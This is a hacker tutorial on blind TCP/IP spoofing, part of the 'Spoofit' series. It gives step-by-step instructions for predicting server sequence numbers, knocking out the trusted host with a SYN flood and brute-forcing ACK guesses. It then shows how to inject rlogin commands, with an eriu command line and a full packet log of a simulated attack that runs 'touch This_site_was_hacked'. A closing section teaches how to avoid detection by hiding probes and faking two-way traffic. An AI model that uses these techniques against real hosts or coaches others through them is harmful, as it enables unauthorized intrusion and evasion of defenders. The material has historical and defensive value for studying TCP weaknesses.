Back to the Spoofit Page

Part II: Advanced spoofing (Blind)




3. Blind spoofing 
-----------------


This brings us to the real subject of my writing. Blind spoofing attacks.


3.1 Sequence number generation
------------------------------



3.1.1 Situation of the problem
------------------------------


As you know, TCP uses a SEQ/ACK system (Sequence nr./Acknowledge) to do 
what it is supposed to do.

A connection is initiated like this in it's simplest form (the well known 
three-way-handshake):

Packet 1: Client -> Server
          flags: SYN            ("I want to initiate a connection")
          SEQ  : clientnr
Packet 2: Server -> Client
          flags: SYN, ACK       (ACK: The request is being acknowledged)
          SEQ  : servernr
          ACK  : clientnr+1
Packet 3: Client -> Server
          flags: ACK        
          SEQ  : clientnr+1
          ACK  : servernr+1 

When you think back to what I said, in our spoofed case we will have: 

Packet 1: T -> X (actually A -> X but we spoof it)
          flags: SYN           
          SEQ  : clientnr
Packet 2: X -> T
          flags: SYN, ACK
          SEQ  : servernr
          ACK  : clientnr+1

But what now? Because we (host A) can't see Packet 2, we cannot use 
'servernr' to calculate the required ACK (servernr+1) for Packet 
three. We will have to predict it one way or another, so that Packet 
3 can be:

Packet 3: T -> X (actually A -> X but we spoof it)
          flags: ACK        
          SEQ  : clientnr+1
          ACK  : guessed_servernr+1

If guessed_servernumber is incorrect, we have failed to initiate a 
connection, a second problem is, that we don't know if we have failed or 
not.

Technical Note:
I made it a bit too simple, when host X sends it's answer:

Packet 2: X -> T
          flags: SYN, ACK
          SEQ  : servernumber
          ACK  : clientnr+1

Host T will receive the packet! Host T doesn't know of any connection 
initiated to X, so it tells X to stop the connection initiation, as it is 
bogus. It does that by sending a RST (reset) to host X. 
If the RST reaches host X, the connection we are trying to set up, will 
not get established.
You understand, that we have to prevent T from doing such things.
You could wait until T is off line, or you could try some denial of 
service attack to take host T down. The 'standard' (classical) procedure is to 
perform a SYN flood from A to T.
You SYN flood the port on T that you are faking, when it is flooded, it 
will not be able to handle further incoming packets.
So it will not be able to see 'Packet 2' and send it's deadly RST.
You all know more and more systems get SYN flood protection, so be a bit 
creative here, any technique that disables a port on host T is good. 


3.1.2 Sequence number generation
--------------------------------


Now how to predict these annoying SEQ's?
To find an answer to that problem, we will have to look at how the Server 
(host X in our case), chooses 'servernr'.
The purpose of the original TCP design was to avoid data transmission problems,
not to keep hackers out. Thus the older systems, or OS's based on them are (as
always) the most vulnerable.

There are roughly speaking 3 ways of sequence number generation.
(Note that I don't discuss how the SEQ-generators are started)
(mind you SEQ number space is 4 bytes (0 to 2^32-1))


3.1.2.a The old 64K rule


This system is surprisingly still often used, and a lot of programs that have 
something to with spoofing, rely on this rule.
It goes like this:
  - increase the SEQ-counter every second with a constant (mostly 128000)
  - if there is a connection initiated, increase the SEQ-counter 
    with another constant (mostly 64000)

As you see, these numbers are very easy to predict. 1 second is a very 
large period in the computer world. 
This '64K rule' is still used in OSF, older SunOS versions, ... 


3.1.2.b Time related generation


A very popular and simple method. It allows the SEQ-generator to generate 
pseudo random numbers (maybe 'random' is not the correct word here). After 
initialization at boot time, the SEQ-generator is increased every 
'x time_units'.
Note that 'time_units' on computers are not always perfect, and not all 
'time_units' are equal in length, depending on how they are measured, on 
the load of the computer, etc... (discussing this would take us to far, 
is doesn't matter anyway).

An example is the 1 usec clock on older LINUX kernels, after initialization, 
the SEQ-generator was increased by one every microsec (if you still have 
such a kernel lying around, have a look at the code).


3.1.2.c The 'pain in the ass' generation


An example of this is to be found in the 'new' LINUX kernel (have a look 
at the code if you dare ;)). Random generators are used to generate SEQ 
numbers, what makes the SEQ numbers nearly impossible to guess.


3.2 Sequence number prediction
------------------------------


Now how to detect these generators described above? Well for that we will 
use the program 'SEQ-scan.c' I've put together. Let me explain what 
it exactly does (see source code also).

What we do to test the sequence generator, is send some SYN packets from 
host A (not spoofed, as we want to see the replies back). Then we look at 
what host X sends us as SEQ, we record and study them. 


3.2.a 64K rule


This is quite easy, I just calculate the differences between 2 SEQ's that 
are generated by host X and see if it can be divided by 64000. 'SEQ-scan.c' 
sends more then 2 packets to eliminate wrong conclusions in case of 
error-transmission, or just pure luck (see function 'get_seq_nrs' and 
'easy_64k_rule').


3.2.b Time relation


Time relation detection scheme's are mostly based on the RTT (Round Trip 
Time). The RTT is the time between the sending of a packet and the 
receiving of the answer on that packet.
You can find the time recording in the function 'get_seq_nrs':

  transmit_TCP(fd_send, NULL, 0,0,0, SOURCE, port, TARGET, TARGET_P,
                                                      STARTSEQ+i,0, SYN);  
  stat=wait_packet(fd_receive,&pinfo,TARGET,TARGET_P,SOURCE,port,SYN,20);
  gettimeofday(&(time_list[i]),NULL);

You see I only record the time AFTER receiving the answer. When 
calculating the time differences, they will correspond with the time 
intervals on which host X has generated its SEQ.
From those time differences and the recorded SEQ differences I calculate the 
'average generator increment/per usec'. I then study how much the real 
generator increments differ from my calculated average. If there isn't much 
difference, we have found ourself a time relation. If there are big 
differences, sequence number generation is not done by a simple time 
relation.
(I calculate the quadratic error to give me a number for decision making, 
I also remove the minimum and maximum value to avoid to much interference 
from bad luck, for more details take a look at the function 
'simple_time_relation'. Experience showed me, this is good enough.)

As for random number generation: SEQ scan will fail to find a relation, 
resulting in very high quadratic error numbers. 


3.3 The attack 
--------------



3.3.1 Connection initiation
---------------------------



3.3.1.a 64K rule


Quite easy, as you can expect. 
  1. cripple host T (e.g. SYN flood)
  2. send a SYN from A -> X (real packet)
  3. get the SEQ-nr from the SYN|ACK answer send to A by X
  4. From that SEQ-nr, calculate the following number generated by X 
     (GUESS = SEQ + 64000)
  5. Send a SYN from A -> X (spoofed from T)
  6. wait, and send a SYN|ACK from A -> X (spoofed from T)
     using the newly calculated GUESS + 1 as ACK.
  
(Now, you will not be always successful, but this is a 90% or more sure 
attack, besides we will use the same technique as described in 3.3.1.b, 
for firing multiple packets.)

The question that now comes to mind is:
We have a connection, so we 'know' the SEQ'nr. that X expects from us, but if 
X sends data, we don't know exactly how much and when, so we have lost 
track of the ACK's that X expects. 
This will make us unable to send correct ACK's, so are we in trouble now??

As you probably guessed, the answer is: "NO, we are cool". 
What will happen if we don't ACK the data send by X, is that X will think
the packets got lost somewhere. After a certain timeout (not receiving ACK)
it will do a retransmission. The server will send no more data (except the
bytes in his window, see TCP manual) to the client (that is not responding).
This will NOT affect data coming from the client.
So X keeps on processing our data, but is unable to send the results back, 
as we don't care about the answers (we can't see them anyway), this is no 
problem for us.


3.3.1.b Time relation


Basically, we will do the same thing as described above, unfortunately our 
success chances are lowered considerably.

  1. cripple host T (e.g. SYN flood)
  2. Predict the next SEQ of X in some way
  3. Send a SYN from A -> X (spoofed from T)
  4. wait, and send a SYN|ACK from A -> X (spoofed from T)
     using the newly calculated GUESS + 1 as ACK.

Point 2. isn't dead-easy here. We know there is a time relation, so what 
we could do is measure and extrapolate (= guess) the RTT (round trip 
time), and with the last collected SEQ nr. from the RTT measuring, we can 
calculate a new one.
What I will do here, is do a few probes for SEQ'nr's and calculate the 
new SEQ nr from the average increment (calculated from the probes). This 
generally is the same thing as RTT calculations (think about it), but is a 
lot easier to do.

Now we see that point 2. pumps the uncertainty up tremendously, now what 
can we do to push it down a little again?
We will send multiple guesses to the server (multiple packets with different
ACK guesses at point 4.).
It is interesting to have a look at how the server behaves when you do such
a guess: 

1) X is 192.168.66.6, T is 1.1.1.1, and the IP of A doesn't matter
   First of all a SYN is send. (after the SEQ prediction of course)
 
TCP Packet ID (from_IP.port-to_IP.port): 1.1.1.1.9666-192.168.66.6.23
   SEQ (hex): FF00FFEE      FLAGS: ----S-

2) X answers with a SYN/ACK  

TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.6.23-1.1.1.1.9666
   SEQ (hex): AEBC60BB   ACK (hex): FF00FFEF
   FLAGS: -A--S-   Window: 3C00

3) Now suppose we send some spoofed packets
   Our attack starts at AEBC60C6 (which is bigger then the correct AEBC60BC)

TCP Packet ID (from_IP.port-to_IP.port): 1.1.1.1.9666-192.168.66.6.23
   SEQ (hex): FF00FFEF   ACK (hex): AEBC60C6
   FLAGS: -A----   Window: 7C00

4) Look what happens, X sends a RST packet. Don't worry, it does NOT interfere 
   with our attack, but it raises network traffic.

TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.6.23-1.1.1.1.9666
   SEQ (hex): AEBC60C6      FLAGS: ---R--

Let's do that again:

1) Same setup, SYN and the response SYN/ACK 

TCP Packet ID (from_IP.port-to_IP.port): 1.1.1.1.10666-192.168.66.6.23
   SEQ (hex): FF00FFEE      FLAGS: ----S-

TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.6.23-1.1.1.1.10666
   SEQ (hex): E1DC0057   ACK (hex): FF00FFEF
   FLAGS: -A--S-   Window: 3C00

2) Now we send a packet with an incorrect guess (ACK to small)
   (ACK is E1DC004E, should be E1DC0058)

TCP Packet ID (from_IP.port-to_IP.port): 1.1.1.1.10666-192.168.66.6.23
   SEQ (hex): FF00FFEF   ACK (hex): E1DC004E
   FLAGS: -A----   Window: 7C00

3) Look what happens, nothing (no RST here). There is a retransmission of the 
   SYN/ACK after some time, as no completion of the handshake is done.

TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.6.23-1.1.1.1.10666
   SEQ (hex): E1DC0057   ACK (hex): FF00FFEF
   FLAGS: -A--S-   Window: 3C00

4) We can go on a while with this, until suddenly we 'hit' the correct ACK.

TCP Packet ID (from_IP.port-to_IP.port): 1.1.1.1.10666-192.168.66.6.23
   SEQ (hex): FF00FFEF   ACK (hex): E1DC0058
   FLAGS: -A----   Window: 7C00

5) Now the connection is established, look at the netstat output on host X:

Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 sniffit:telnet          1.1.1.1:10666           ESTABLISHED

6) Following guesses with wrong ACK's will not interfere your connection
   (nor generate RST's).
   Now you can continue with the attack and insert your data (discussed 
   further)

So summed up, if our ACK's are to big, we cause the generation of a 
RST packet, what will make our attack easier to detect. It is advised you 
start with the smallest guess, and increment them, not the other way around.

Unfortunately, this is NOT TRUE for all OS's, the SunOS's I played with for
example ALWAYS generated RST's. So if you are attacking such a system, you
can't avoid the RST generation.

How to decide which span ACK's to brute force (because that is kinda what you 
are doing). Well, there is no real general rule. Best thing you can do is run 
the SEQ-nr predictor you are going to use on a host for a sec, and compare the 
guesses with the real numbers.
How to use the source code included with this text is discussed later.

NOTE: at the risk of being repetitive, but to be sure you get it right:
      The RST packets DO NOT reset your attempt to set up a connection.
      They DO NOT defend host X against your attack.


3.3.2 Sending the data
----------------------


Now that we have initiated a connection, we should be sending some data 
'along the lines'.
After the connection is initiated the ACK's really don't matter anymore.
Like I explained before, we don't care about any answers the server wants to
send, as long as our data is accepted.

What to send on a connection?? Well that is up to you, it depends on the
service you want to attack. In 'eriu.c' I use a command file that offers you 
the possibility of attacking any service with the same program.


3.3.3 The attack 
----------------


What I described above sounds fairly simple. But you have to realize, the 
SEQ guessing won't be the only problem you will have to face in most cases.
There are many ways a site can be protected against spoofing attacks, the
most obvious is to remove all trusted relations. Also OS's like Linux have a
good SEQ'nr generator, which greatly improves the defense against spoofing.

Firewalls and all kinds of packet filters (you need something to base your
guess upon right?!) or additional identification scheme's can all make an 
attack unlikely to succeed.
  
Take IDENT for example, this extremely simple protocol can already cause an
important increase of problems for an attacker.
Not only do you have the problem of guessing the SEQ'nr. of your 'attack' 
connection, but also you have the uncertainty of the SEQ nr generated by the 
IDENT connection and the source port of that connection.

On a '64K ruler' this is still relatively easy if you can attack on 
'silent' periods (= when there is nearly no traffic to the system), you 
can predict the port IDENT will use (ports are used sequentially), and 
the SEQ nr. can easily be guessed, as the generator is easily predicted.


3.3.4 Full log
--------------


This is the full log of a simulated attack with 'Eriu'. It was done with the
command line (See below for use of 'Eriu', and for more information on the
command file, here 'rlogin.demo'):
'./eriu -s 192.168.66.66:1023 -t 192.168.66.1:513 -f rlogin.demo -c 5 -F'

The attacked host is 192.168.66.1, we pretend to be 192.168.66.66 (the
attack was done from 192.168.66.6). It is a faked attack as we force the
ACK, this was done to be able to limit the packet count to 5. I also show you 
the responses the attacked host send to make everything clearer, again you 
normally don't see them.

1) First packet to initiate a connection.
 
TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
   SEQ (hex): 223EE666      FLAGS: ----S-

2) This packet we normally don't see...
 
TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
   SEQ (hex): 19B24FC3   ACK (hex): 223EE667
   FLAGS: -A--S-   Window: 3C00

3) Here we do a ACK guess of 5 different ACK's. 5 is a very small number, in
   reality you should use larger quantities (10000 is not exceptional) of 
   attack packets, this here is just a demonstration. (To much packets would 
   unnecessarily prolong this text).
   ACK space from 19B24FC1 to 19B24FC5 is scanned, with 19B24FC4 the correct
   ACK

TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
   SEQ (hex): 223EE667   ACK (hex): 19B24FC1
   FLAGS: -A----   Window: 7C00

TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
   SEQ (hex): 223EE667   ACK (hex): 19B24FC2
   FLAGS: -A----   Window: 7C00

TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
   SEQ (hex): 223EE667   ACK (hex): 19B24FC3
   FLAGS: -A----   Window: 7C00

4) This packet initiates the connection, although we do not know that.
 
TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
   SEQ (hex): 223EE667   ACK (hex): 19B24FC4
   FLAGS: -A----   Window: 7C00

5) Attack continued

TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
   SEQ (hex): 223EE667   ACK (hex): 19B24FC5
   FLAGS: -A----   Window: 7C00

6) Now that the connection is hopefully established we can start sending our
   data. Here I spoof a rlogin connection, so I have to imitate the protocol
   used with rlogin (See small Appendix about rlogin).

7) This packet contains the first 4 null terminated strings to initiate a
   rlogin session. Like I already mentioned with the 64k rule attack, the ACK
   from now on, doesn't really matter if you don't care for what is returned by
   the server. And as we can't see it anyway, be naturally don't care if how
   much and what exactly the server sends back.

TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
   SEQ (hex): 223EE667   ACK (hex): 19B24FC1
   FLAGS: -AP---   Window: 7C00
Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
 45 E 00 . 00 . 40 @ 31 1 01 . 00 . 00 . 45 E 06 . 3F ? 23 # C0 . A8 . 42 B 42 B
 C0 . A8 . 42 B 01 . 03 . FF . 02 . 01 . 22 " 3E > E6 . 67 g 19 . B2 . 4F O C1 .
 50 P 18 . 7C | 00 . C6 . 42 B 00 . 00 . 00 . 63 c 6F o 64 d 65 e 72 r 00 . 73 s
 70 p 6F o 6F o 66 f 00 . 76 v 74 t 31 1 30 0 30 0 2F / 39 9 36 6 30 0 30 0 00 .

8) Notice that the server acknowledges our data.

TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
   SEQ (hex): 19B24FC4   ACK (hex): 223EE67F
   FLAGS: -A----   Window: 3C00
 
9) One null byte to inform us that the 4 null terminated strings were
   received (see rlogin appendix).
   (again, this is normally invisible for us)

TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
   SEQ (hex): 19B24FC4   ACK (hex): 223EE67F
   FLAGS: -AP---   Window: 3C00
Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
 45 E 10 . 00 . 29 ) 29 ) B7 . 40 @ 00 . 3F ? 06 . 0C . 74 t C0 . A8 . 42 B 01 .
 C0 . A8 . 42 B 42 B 02 . 01 . 03 . FF . 19 . B2 . 4F O C4 . 22 " 3E > E6 . 7F .
 50 P 18 . 3C < 00 . F6 . 02 . 00 . 00 . 00 .

10) Window negotiation (see rlogin appendix).
 
TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
   SEQ (hex): 223EE67F   ACK (hex): 19B24FC1
   FLAGS: -AP---   Window: 7C00
Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
 45 E 00 . 00 . 34 4 31 1 01 . 00 . 00 . 45 E 06 . 3F ? 2F / C0 . A8 . 42 B 42 B
 C0 . A8 . 42 B 01 . 03 . FF . 02 . 01 . 22 " 3E > E6 . 7F . 19 . B2 . 4F O C1 .
 50 P 18 . 7C | 00 . 42 B 1E . 00 . 00 . FF . FF . 73 s 73 s 00 . 19 . 00 . 50 P
 00 . 00 . 00 . 00 .

TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
   SEQ (hex): 19B24FC5   ACK (hex): 223EE68B
   FLAGS: -A----   Window: 3C00
Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
 45 E 10 . 00 . 28 ( 29 ) B8 . 40 @ 00 . 3F ? 06 . 0C . 74 t C0 . A8 . 42 B 01 .
 C0 . A8 . 42 B 42 B 02 . 01 . 03 . FF . 19 . B2 . 4F O C5 . 22 " 3E > E6 . 8B .
 50 P 10 . 3C < 00 . F5 . FE . 00 . 00 .

11) The password of user 'spoof' is 'spoof' (I didn't set up a trusted relation
    doesn't matter anyway, just don't send a password ;))

TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
   SEQ (hex): 223EE68B   ACK (hex): 19B24FC1
   FLAGS: -AP---   Window: 7C00
Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
 45 E 00 . 00 . 2E . 31 1 01 . 00 . 00 . 45 E 06 . 3F ? 35 5 C0 . A8 . 42 B 42 B
 C0 . A8 . 42 B 01 . 03 . FF . 02 . 01 . 22 " 3E > E6 . 8B . 19 . B2 . 4F O C1 .
 50 P 18 . 7C | 00 . 6D m 0A . 00 . 00 . 73 s 70 p 6F o 6F o 66 f 0A .

12) Retransmission as we do not ACK anything.
    But notice that our send data is ACK'ed, thus accepted.

TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
   SEQ (hex): 19B24FC5   ACK (hex): 223EE691
   FLAGS: -A----   Window: 3C00
Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
 45 E 10 . 00 . 28 ( 29 ) B9 . 40 @ 00 . 3F ? 06 . 0C . 73 s C0 . A8 . 42 B 01 .
 C0 . A8 . 42 B 42 B 02 . 01 . 03 . FF . 19 . B2 . 4F O C5 . 22 " 3E > E6 . 91 .
 50 P 10 . 3C < 00 . F5 . F8 . 00 . 00 .

13) Evil commands...
    Here it is 'touch This_site_was_hacked', quiet evil, isn't it? 

TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
   SEQ (hex): 223EE691   ACK (hex): 19B24FC1
   FLAGS: -AP---   Window: 7C00
Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
 45 E 00 . 00 . 43 C 31 1 01 . 00 . 00 . 45 E 06 . 3F ? 20   C0 . A8 . 42 B 42 B
 C0 . A8 . 42 B 01 . 03 . FF . 02 . 01 . 22 " 3E > E6 . 91 . 19 . B2 . 4F O C1 .
 50 P 18 . 7C | 00 . 51 Q D1 . 00 . 00 . 74 t 6F o 75 u 63 c 68 h 20   54 T 68 h
 69 i 73 s 5F _ 73 s 69 i 74 t 65 e 5F _ 77 w 61 a 73 s 5F _ 68 h 61 a 63 c 6B k
 65 e 64 d 0A .

TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
   SEQ (hex): 19B24FC5   ACK (hex): 223EE6AC
   FLAGS: -A----   Window: 3C00
Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
 45 E 10 . 00 . 28 ( 29 ) BA . 40 @ 00 . 3F ? 06 . 0C . 72 r C0 . A8 . 42 B 01 .
 C0 . A8 . 42 B 42 B 02 . 01 . 03 . FF . 19 . B2 . 4F O C5 . 22 " 3E > E6 . AC .
 50 P 10 . 3C < 00 . F5 . DD . 00 . 00 .

TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
   SEQ (hex): 19B24FC4   ACK (hex): 223EE6AC
   FLAGS: -AP---   Window: 3C00
Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
 45 E 10 . 00 . 29 ) 29 ) BB . 40 @ 00 . 3F ? 06 . 0C . 70 p C0 . A8 . 42 B 01 .
 C0 . A8 . 42 B 42 B 02 . 01 . 03 . FF . 19 . B2 . 4F O C4 . 22 " 3E > E6 . AC .
 50 P 18 . 3C < 00 . F5 . D5 . 00 . 00 . 00 .

14) and finally we close the connection.

TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
   SEQ (hex): 223EE6AC      FLAGS: ---R--
Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
 45 E 00 . 00 . 28 ( 31 1 01 . 00 . 00 . 45 E 06 . 3F ? 3B ; C0 . A8 . 42 B 42 B
 C0 . A8 . 42 B 01 . 03 . FF . 02 . 01 . 22 " 3E > E6 . AC . 19 . B2 . 4F O C1 .
 50 P 04 . 7C | 00 . B5 . ED . 00 . 00 .


3.3.5 Detection, and avoiding it
--------------------------------


If you payed a little bit of attention during the reading of this text, you
already have a good idea of how an attack can be detected.


3.3.5.a Probes


No spoofing attack without the probes to predict SEQ numbers. These can
easily be hidden of course.
Suppose the server runs a 'httpd', well, you can do the SEQ number analyzing
by accessing the web pages on that server, don't immediately reset after
receiving the necessary data, but continue the connection with a legit http
request (after the first SYN of the attack is send because otherwise you'll
lose to much time, and you're guess will be too incorrect). The same off course
can be done with FTP, or any other public service provided by the target host.
Problem is however that the attack will follow immediately after the probe,
so this too can be a lead for the detector/tracer.
You should only do such a thing if you think the site has taken special logging
precautions, because otherwise the probes won't show up in the logs.


3.3.5.b RST packets


I already mentioned that guessing causes RST packets. Well you know how
to avoid them (with some OS's), make sure you start your guess with to small 
ACK's. (This is off course only true if you increment all ACK's with 1, if 
you use a scheme increments the ACK with a step of 2 to increase scan space, 
you have 50% risk of missing the correct ACK and thus generation RST's when 
missing the ACK)
If you are attacking a system that always sends RST's well, you'll have to
live with it.


3.3.5.c The ACK guesses


Well probably the hardest thing to hide are the multiple ACK guesses. Not 
doing them lowers your chances. If you have the luck to be attacking a 64k
ruler, well then you can do a very stealthy spoof.
Advantage of hiding the probes even when you can't hide the guesses is however,
that you yourself are extremely hard to trace this way, these ACK's have
spoofed IP numbers anyway. 
Again, out of the box setups, mostly don't log these things.


3.3.5.d Retransmission


Generally one can assume that if data keeps coming on a connection to a
server, but it looks like all data send back to the client is lost (no
ACK's), the connection is fake i.e. a spoofing attack.
So it could be wise to look for connections that particularly work well in
one direction, and cause a lot of transmissions of the same packet in the
other direction. 
The attacker on the other hand can make this harder to detect by inserting
his own ACK's, and thus causing retransmission of different packets.
As attacker, you have a fairly good idea of how much data the server will
send back, so you can have a few guesses. You can also retransmit some of
your packages (be sure to take windowing in account to make it more
realistic), so it might look like you don't receive the servers ACK's,
what would make the connection look like a two-way-bad connection.
Pretending to be a real user is a must here (1 char/packet, and simulating
typos).
But on the other hand, if a site goes through the trouble of running such
detection tools, it will probably be well enough protected in the first
place.


Brecht Claerhout: coder@succeed.net